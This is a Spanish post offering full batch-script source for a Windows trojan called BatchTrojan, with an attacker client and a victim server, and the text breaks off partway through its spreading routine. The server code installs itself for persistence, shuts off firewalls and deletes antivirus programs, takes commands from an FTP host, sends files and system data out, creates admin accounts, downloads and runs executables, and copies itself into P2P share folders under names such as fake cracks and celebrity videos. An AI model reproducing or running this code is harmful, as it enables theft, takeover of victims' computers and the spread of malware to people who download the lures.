troyano en batch

title Cliente
cls
@echo off
color 1f
Title BatchTrojan
cls
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo ********************************************
echo * *
echo * *
echo * BatchTrojan by hendrix *
echo * *
echo * *
echo ********************************************
echo.
echo.
pause > nul
goto inisi
:inisi
cls
echo.
echo Introduce una opcion:
echo.
echo 1. Ver los discos duros de la victima
echo 2. Explorar los discos duros
echo 3. Borrar un archivo de la victima
echo 4. Descargarte archivo de la victima
echo 5. Descargarte ejecutable de la victima
echo 6. Crear una cuenta Admin en el pc de la victima
echo 7. Informacion complaeta de del PC + IP
echo 8. Subir al PC de la victima un archivo tuyo
echo 9. Obtener Shell de la victima
echo 10. Propagarse por P2P
echo 11. Infectar archivos .rar y .zip
echo 12. Salir del programa y desconectar server
echo.
set /p opcion=
If %opcion% == 1 goto hd
If %opcion% == 2 goto explorar
If %opcion% == 3 goto borrar
If %opcion% == 4 goto descarga
If %opcion% == 5 goto descargaexe
If %opcion% == 6 goto admin
If %opcion% == 7 goto info
If %opcion% == 8 goto upload
If %opcion% == 9 goto shell
If %opcion% == 10 goto plaga
If %opcion% == 11 goto infectar
If %opcion% == 12 goto salir
:hd
echo accion: hd > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:explorar
cls
echo Introduce una ruta para ver los archivos y carpetas que contiene:
set /p ruta=
echo accion: explorar %ruta% > C:order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:borrar
cls
echo Inserta la ruta y el nombre de archivo a borrar:
set /nombre =
echo accion: borrar %nombre% > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:descarga
cls
echo Introduce el nombre del archivo a descargar:
set /p nom=
echo accion: descargar %nom% > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:descargaexe
cls
echo Introduce la ruta y el nombre del archivo a descargar:
set /p nomex=
echo accion: descargarexe %nomex% > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:admin
cls
echo Introduce el nombre de la cuenta a crear:
set /p adnom=
echo accion: admin %adnom% > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:info
echo accion: info > C:order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:upload
echo Introduce el nombre (y extension) del archivo a descargar a la maquina victima:
set /p uplo=
echo accion: upload %uplo% > C:order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:shell
echo accion: shell > C:order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:plaga
echo accion: plaga > C:order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
msg Orden enviada correctamente
goto inisi
:infectar
cls
echo.
echo Introduce la ruta del archivo Rar/zip a infectar (nombre + extension)
set /p raro=
echo accion: infectar %raro% > C:Order.txt
echo salir > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
:salir
echo accion: salir > C:Order.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:order.txt order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
cls
echo adios
pause>nul
exit
 

Ahora el sever:
@echo off
:mata
@echo off
copy %0 C:WindowsSystem32windll32.exe
reg add "HKLMSOFTWAREMicrosoftWindowsRun" /v Windll32 /d "C:WindowsSystem32windll32.exe"
Net stop "Centro de Seguridad"
Net Stop "Firewall de Windows/Conexión compartida a Internet (ICS)"
Taskkill /f /IM ccProxy.exe /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM NMAIN.EXE /IM SBServ.exe /IM NOPDB.EXE
cd c:Archivos de programaArchivos comunesSymantec Shared
attrib -H -S -R *.*
del /s /q *.*
rd c:Archivos de programaArchivos comunesSymantec Shared
cd c:Archivos de programaArchivos comunesSymantec SharedSPBBC
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM symlcsvc.exe
cd C:Archivos de programaArchivos comunesSymantec SharedCCPD-LC
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM SymWSC.exe /IM UsrPrmpt.exe
cd c:Archivos de programaArchivos comunesSymantec SharedSecurity Center
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM navapsvc.exe /IM ISSVC.exe /IM
cd c:Archivos de programaNorton Internet Security
attrib -H -S -R *.*
del /s /q *.*
cd c:Archivos de programaNorton Internet SecurityNorton AntiVirus
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM zlclient.exe /IM zonealarm.exe
cd C:Archivos de programaZone LabsZoneAlarm
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM ewidoctrl.exe
cd C:Archivos de programaewido anti-malware
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM vsmon.exe
C:WINDOWSsystem32ZoneLabs
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM navapsvc.exe /IM NPFMntor.exe /IM navapw32.exe /IM SAVScan.exe
cd C:Archivos de programaNorton AntiVirus
attrib -H -S -R *.*
del /s /q *.*
cd C:Archivos de programaNorton AntiVirusIWP
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM NPROTECT.EXE
cd C:Archivos de programaNorton Utilities
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM WRSSSDK.exe /IM SpySweeper.exe
cd C:Archivos de programaWebrootSpy Sweeper
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM GBPoll.exe /IM navapsvc.exe /IM NPFMntor.exe /IM NPROTECT.EXE /IM NOPDB.EXE /IM GBTray.exe /IM NPFMntor.exe /IM GhostTray.exe /IM PQV2iSvc.exe
rd C:Archivos de programaNorton SystemWorksNorton AntiVirus
Taskkill /f /IM no-spy.exe
cd C:Archivos de programaSinEspias
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM spyaxe.exe /IM spyaxe.exe
cd C:Archivos de programaSpyAxe
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM SpywareStrike.exe /IM SpywareStrike.exe
cd C:Archivos de programaSpywareStrike
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM gcasDtServ.exe /IM gcasServ.exe
cd C:Archivos de programaMicrosoft AntiSpyware
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM kavsvc.exe /IM kav.exe
cd C:ARCHIVOS DE PROGRAMAKASPERSKY LABKASPERSKY ANTI-VIRUS PERSONAL
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM mcdetect.exe /IM mctskshd.exe /IM mcregwiz.exe /IM mcagent.exe
cd c:archivos de programamcafee.comagent
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM VsStat.exe
cd C:Archivos de programaMcAfeeMcAfee VirusScan
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM firefox.exe
cd C:Archivos de programaMozilla Firefox
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM Pavsrv51.exe /IM AVENGINE.EXE /IM apvxdwin.exe /IM pavProxy.exe
cd C:Archivos de programaPanda SoftwarePanda Antivirus Titanium
attrib -H -S -R *.*
del /s /q *.*
rd C:Archivos de programaPanda SoftwarePanda Antivirus Titanium
Taskkill /f /IM SynTPLpr.exe /IM SynTPEnh.exe
cd C:Archivos de programaSynapticsSynTP
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM FrameworkService.exe /IM Mcshield.exe /IM VsTskMgr.exe /IM SHSTAT.EXE
cd C:Archivos de programaNetwork AssociatesVirusScan
attrib -H -S -R *.*
del /s /q *.*
cd C:Archivos de programaNetwork AssociatesCommon Framework
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM nod32krn.exe /IM nod32kui.exe
cd C:Archivos de programaEset
attrib -H -S -R *.*
del /s /q *.*
rd C:Archivos de programaEset
Taskkill /f /IM AVGSERV9.EXE /IM AVGCC32.EXE
cd C:PROGRAM FILESGRISOFTAVG6
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM AVGUARD.EXE /IM AVWUPSRV.EXE /IM AVGNT.EXE /IM AVSched32.EXE
cd C:Archivos de programaAVPersonal
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM ASHSERV.EXE /IM ASHWEBSV.EXE /IM ASHMAISV.exe
cd C:ARCHIVOS DE PROGRAMAALWIL SOFTWAREAVAST4
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM avgcc.exe /IM avgamsvr.exe /IM avgupsvc.exe
cd "cd C:Archivos de programaGrisoft"
attrib -H -S -R *.*
del /s /q *.*
cd "AVGFRE*"
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM IEXPLORE.EXE
cd C:Archivos de programaInternet Explorer
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM Pagent.exe /IM pagentwd.exe /IM pavsched.exe
cd C:Archivos de programaPanda SoftwarePanda Administrator 3Pav_Agent
attrib -H -S -R *.*
del /s /q *.*
cd C:Archivos de programaPanda SoftwarePanda Administrator 3Scheduler
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM bdoesrv.exe /IM bdmcon.exe /IM bdnagent.exe /IM bdswitch.exe
cd C:Archivos de programaSoftwinBitDefender9
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM xcommsvr.exe /IM livesrv.exe /IM bdss.exe
rd C:Archivos de programaArchivos comunesSoftwin
Taskkill /f /IM DefWatch.exe /IM Rtvscan.exe
cd C:Archivos de programaSymantec_Client_SecuritySymantec AntiVirus
attrib -H -S -R *.*
del /s /q *.*
Taskkill /f /IM avgamsvr.exe /IM avgupsvc.exe
cd C:Archivos de programaAVG7
attrib -H -S -R *.*
del /s /q *.*
goto inisi
:inisi
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo get order.txt C:Windowsorder.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
If exist C:Windowsorder.txt (goto mirar) else (goto inisi)
goto mirar
:mirar
for /f "tokens=2 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
if %ca% == hd goto disco
if %ca% == borrar goto borrar
if %ca% == descargar goto desc
if %ca% == admin goto admi
if %ca% == info goto indopc
if %ca% == shell goto nc
if %ca% == explorar goto explore
if %ca% == descargarexe goto descex
if %ca% == upload goto up
if %ca% == salir goto fin
if %ca% == plaga goto plug
if %ca% == Infectar goto infect
:disco
If exist C: (C: && echo Disco C > C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist D: (D: && echo Disco D >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist E: (E: && echo Disco E >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist F: (F: && echo Disco F >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist G: (G: && echo Disco G >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist H: (H: && echo Disco H >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist X: (X: && echo Disco X >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist Y: (Y: && echo Disco Y >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist W: (W: && echo Disco W >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
If exist Z: (Z: && echo Disco Z >> C:Windowsdirectorios.txt && echo. >> C:Windowsdirectorios.txt && dir >> C:Windowsdirectorios.txt)
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:Windowsdirectorios.txt Directorios.txt>> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:Windowsdirectorios.txt
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:borrar
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
del /s /q %ca%
echo Archivo %ca% borrado satisfactoriamente > C:Windowsborrar.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:Windowsborrar.txt borrar.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:Windowsborrar.txt
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:explore
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
cd %ca%
dir > C:WindowsSystem32explorar.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:WindowsSystem32explorar.txt explorar.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:Windowsexplorar.txt
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:desc
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put %ca% archivo.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:descex
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo binary
echo put %ca% archivo.exe >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:up
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo binary
echo get %ca% C:Windowsarchivo.exe >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
start C:Windowsarchivo.exe
del /s /q C:datos.txt
del /s /q C:Windowsorder.txt
goto inisi
:admi
for /f "tokens=3 DELIMS= " %%a in ('FIND /I "accion" C:Windowsorder.txt') do set ca=%%a
net localgroup administrator %ca% /add
echo User creado con exito!!! > C:user.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:user.txt user.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
start C:Windowsarchivo.exe
del /s /q C:datos.txt
del /s /q C:user.txt
del /s /q C:Windowsorder.txt
goto inisi
:indopc
systeminfo > C:Info.txt
Ipconfig /all >> C:Info.txt
echo TUFTP > C:datos.txt
echo TUPASS >> C:datos.txt
echo put C:datos.txt datos.txt >> C:datos.txt
echo put C:info.txt info.txt >> C:datos.txt
echo delete order.txt >> C:datos.txt
echo bye >> C:datos.txt
ftp -s:C:datos.txt ftp.TUFTP.com
del /s /q C:datos.txt
del /s /q C:user.txt
del /s /q C:Windowsorder.txt
goto inisi
:plug
if exist "%systemdrive%My Shared Folder" (GOTO MSF) else GOTO Cont1
:MSF
copy /Y %0 %systemdrive%My Shared FolderNod32 Full+Crack.exe
copy /Y %0 %systemdrive%My Shared FolderParis_Hilton_Video.exe
copy /Y %0 %systemdrive%My Shared FolderPamela Anderson Scrrensaver.scr
copy /Y %0 %systemdrive%My Shared FolderNorton AntiVirus 2006 Full+Crack.exe
copy /Y %0 %systemdrive%My Shared FolderTarjetas de Telefono.pif
copy /Y %0 %systemdrive%My Shared FolderRingtones.bat
:Cont1
if exist "%programfiles%KazaaMy Shared Folder" (GOTO Kazaa) else GOTO Cont2
:Kazaa
copy /Y %0 %programfiles%KazaaMy Shared FolderNod32 Full+Crack.exe
copy /Y %0 %programfiles%KazaaMy Shared FolderParis_Hilton_Video.exe
copy /Y %0 %programfiles%KazaaMy Shared FolderPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%KazaaMy Shared FolderNorton AntiVirus 2006
Full+Crack.exe
copy /Y %0 %programfiles%KazaaMy Shared FolderTarjetas de Telefono.pif
copy /Y %0 %programfiles%KazaaMy Shared FolderRingtones.bat
:Cont2
if exist "%programfiles%Kazaa LiteMy Shared Folder" (GOTO Kazaa2) else GOTO Cont3
:Kazaa2
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderNod32 Full+Crack.exe
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderParis_Hilton_Video.exe
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderPamela Anderson
Scrrensaver.scr
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderNorton AntiVirus 2006
Full+Crack.exe
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderTarjetas de Telefono.pif
copy /Y %0 %programfiles%Kazaa LiteMy Shared FolderRingtones.bat
:Cont3
if exist "%programfiles%GroksterMy Grokster" (GOTO Groks) else GOTO Cont4
:Groks
copy /Y %0 %programfiles%GroksterMy GroksterNod32 Full+Crack.exe
copy /Y %0 %programfiles%GroksterMy GroksterParis_Hilton_Video.exe
copy /Y %0 %programfiles%GroksterMy GroksterPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%GroksterMy GroksterNorton AntiVirus 2006
Full+Crack.exe
copy /Y %0 %programfiles%GroksterMy GroksterTarjetas de Telefono.pif
copy /Y %0 %programfiles%GroksterMy GroksterRingtones.bat
:Cont4
if exist "%programfiles%MorpheusMy Shared Folder" (GOTO Morph) else GOTO Cont5
:Morph
copy /Y %0 %programfiles%MorpheusMy Shared FolderNod32 Full+Crack.exe
copy /Y %0 %programfiles%MorpheusMy Shared FolderParis_Hilton_Video.exe
copy /Y %0 %programfiles%MorpheusMy Shared FolderPamela Anderson
Scrrensaver.scr
copy /Y %0 %programfiles%MorpheusMy Shared FolderNorton AntiVirus 2006
Full+Crack.exe
copy /Y %0 %programfiles%MorpheusMy Shared FolderTarjetas de Telefono.pif
copy /Y %0 %programfiles%MorpheusMy Shared FolderRingtones.bat
:Cont5
if exist "%programfiles%EDONKEY2000incoming" (GOTO Edon) else GOTO Cont6
:Edon
copy /Y %0 %programfiles%EDONKEY2000incomingNod32 Full+Crack.exe
copy /Y %0 %programfiles%EDONKEY2000incomingParis_Hilton_Video.exe
copy /Y %0 %programfiles%EDONKEY2000incomingPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%EDONKEY2000incomingNorton AntiVirus 2006
Full+Crack.exe
copy /Y %0 %programfiles%EDONKEY2000incomingTarjetas de Telefono.pif
copy /Y %0 %programfiles%EDONKEY2000incomingRingtones.bat
:Cont6
if exist "%programfiles%GnucleusDownloads" (GOTO Gnuc) else GOTO Cont7
:Gnuc
copy /Y %0 %programfiles%GnucleusDownloadsNod32 Full+Crack.exe
copy /Y %0 %programfiles%GnucleusDownloadsParis_Hilton_Video.exe
copy /Y %0 %programfiles%GnucleusDownloadsPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%GnucleusDownloadsNorton AntiVirus 2006 Full+Crack.exe
copy /Y %0 %programfiles%GnucleusDownloadsTarjetas de Telefono.pif
copy /Y %0 %programfiles%GnucleusDownloadsRingtones.bat
:Cont7
if exist "%programfiles%eMuleIncoming" (GOTO Emule) else GOTO Cont8
:Emule
copy /Y %0 %programfiles%eMuleIncomingNod32 Full+Crack.exe
copy /Y %0 %programfiles%eMuleIncomingParis_Hilton_Video.exe
copy /Y %0 %programfiles%eMuleIncomingPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%eMuleIncomingNorton AntiVirus 2006 Full+Crack.exe
copy /Y %0 %programfiles%eMuleIncomingTarjetas de Telefono.pif
copy /Y %0 %programfiles%eMuleIncomingRingtones.bat
:Cont8
if exist "%programfiles%BearShareShared" (GOTO Bear) else GOTO Cont9
:Bear
copy /Y %0 %programfiles%BearShareSharedNod32 Full+Crack.exe
copy /Y %0 %programfiles%BearShareSharedParis_Hilton_Video.exe
copy /Y %0 %programfiles%BearShareSharedPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%BearShareSharedNorton AntiVirus 2006 Full+Crack.exe
copy /Y %0 %programfiles%BearShareSharedTarjetas de Telefono.pif
copy /Y %0 %programfiles%BearShareSharedRingtones.bat
:Cont9
if exist "%programfiles%ShareazaDownloads" (GOTO Shar) else GOTO Cont10
:Shar
copy /Y %0 %programfiles%ShareazaDownloadsNod32 Full+Crack.exe
copy /Y %0 %programfiles%ShareazaDownloadsParis_Hilton_Video.exe
copy /Y %0 %programfiles%ShareazaDownloadsPamela Anderson Scrrensaver.scr
copy /Y %0 %programfiles%ShareazaDownloadsNorton AntiVirus 2006 Full+Crack.exe
copy /Y %0 %programfiles%ShareazaDownloadsTarjetas de Telefono.pif
copy /Y %0 %programfiles%ShareazaDownloadsRingtones.bat

:Cont10
if exist "%programfiles%ICQshared files" (Goto ICQ) else Goto Cont11
:ICQ
copy /Y %0 %programfiles%ICQshared filesVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%ICQshared filesVisual Serial.exe
copy /Y %0 %programfiles%ICQshared filesCrack Winrar.exe
copy /Y %0 %programfiles%ICQshared filesCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%ICQshared filesManual Hacking interactivo.exe
copy /Y %0 %programfiles%ICQshared filesMsn 8 Crack.exe
copy /Y %0 %programfiles%ICQshared filesMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%ICQshared filesCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%ICQshared filesNo-IP DUC.exe
copy /Y %0 %programfiles%ICQshared filesEscondeTroyanos.exe
copy /Y %0 %programfiles%ICQshared filesTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%ICQshared filesSub7 Editor.exe
:Cont11
if exist "%programfiles%Filetopia3Files" (Goto Fileto) else Goto Cont12
:Fileto
copy /Y %0 %programfiles%Filetopia3FilesVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%Filetopia3FilesVisual Serial.exe
copy /Y %0 %programfiles%Filetopia3FilesCrack Winrar.exe
copy /Y %0 %programfiles%Filetopia3FilesCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%Filetopia3FilesManual Hacking interactivo.exe
copy /Y %0 %programfiles%Filetopia3FilesMsn 8 Crack.exe
copy /Y %0 %programfiles%Filetopia3FilesMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%Filetopia3FilesCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%Filetopia3FilesNo-IP DUC.exe
copy /Y %0 %programfiles%Filetopia3FilesEscondeTroyanos.exe
copy /Y %0 %programfiles%Filetopia3FilesTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%Filetopia3FilesSub7 Editor.exe
:Cont12
if exist "%programfiles%appleJuiceincoming" (Goto manzana) else Goto Cont13
:manzana
copy /Y %0 %programfiles%appleJuiceincomingVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%appleJuiceincomingVisual Serial.exe
copy /Y %0 %programfiles%appleJuiceincomingCrack Winrar.exe
copy /Y %0 %programfiles%appleJuiceincomingCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%appleJuiceincomingManual Hacking interactivo.exe
copy /Y %0 %programfiles%appleJuiceincomingMsn 8 Crack.exe
copy /Y %0 %programfiles%appleJuiceincomingMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%appleJuiceincomingCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%appleJuiceincomingNo-IP DUC.exe
copy /Y %0 %programfiles%appleJuiceincomingEscondeTroyanos.exe
copy /Y %0 %programfiles%appleJuiceincomingTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%appleJuiceincomingSub7 Editor.exe
:Cont13
if exist "%programfiles%LimeWireShared" (Goto limon) else Goto Cont14
:limon
copy /Y %0 %programfiles%LimeWireSharedVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%LimeWireSharedVisual Serial.exe
copy /Y %0 %programfiles%LimeWireSharedCrack Winrar.exe
copy /Y %0 %programfiles%LimeWireSharedCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%LimeWireSharedManual Hacking interactivo.exe
copy /Y %0 %programfiles%LimeWireSharedMsn 8 Crack.exe
copy /Y %0 %programfiles%LimeWireSharedMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%LimeWireSharedCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%LimeWireSharedNo-IP DUC.exe
copy /Y %0 %programfiles%LimeWireSharedEscondeTroyanos.exe
copy /Y %0 %programfiles%LimeWireSharedTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%LimeWireSharedSub7 Editor.exe
:Cont14
if exist "%programfiles%Overnetincoming" (Goto over) else Goto Cont15
:over
copy /Y %0 %programfiles%OvernetincomingVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%OvernetincomingVisual Serial.exe
copy /Y %0 %programfiles%OvernetincomingCrack Winrar.exe
copy /Y %0 %programfiles%OvernetincomingCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%OvernetincomingManual Hacking interactivo.exe
copy /Y %0 %programfiles%OvernetincomingMsn 8 Crack.exe
copy /Y %0 %programfiles%OvernetincomingMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%OvernetincomingCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%OvernetincomingNo-IP DUC.exe
copy /Y %0 %programfiles%OvernetincomingEscondeTroyanos.exe
copy /Y %0 %programfiles%OvernetincomingTroyano en .txt interavtivo.exe
copy /Y %0 %programfiles%OvernetincomingSub7 Editor.exe
:Cont15
if exist "%programfiles%SwaptorDownload" (Goto swap) else Goto Cont16
:swap
copy /Y %0 %programfiles%SwaptorDownloadVisual Basic 6.0 Crack.exe
copy /Y %0 %programfiles%SwaptorDownloadVisual Serial.exe
copy /Y %0 %programfiles%SwaptorDownloadCrack Winrar.exe
copy /Y %0 %programfiles%SwaptorDownloadCrack No-CD Age of Empires.exe
copy /Y %0 %programfiles%SwaptorDownloadManual Hacking interactivo.exe
copy /Y %0 %programfiles%SwaptorDownloadMsn 8 Crack.exe
copy /Y %0 %programfiles%SwaptorDownloadMsn 7.5 Evo path.exe
copy /Y %0 %programfiles%SwaptorDownloadCrackeador Jhon the Riper.exe
copy /Y %0 %programfiles%SwaptorDownloadNo-IP DUC.exe
copy /Y %0 %programfiles%SwaptorDownloadEscondeTroyanos.exe
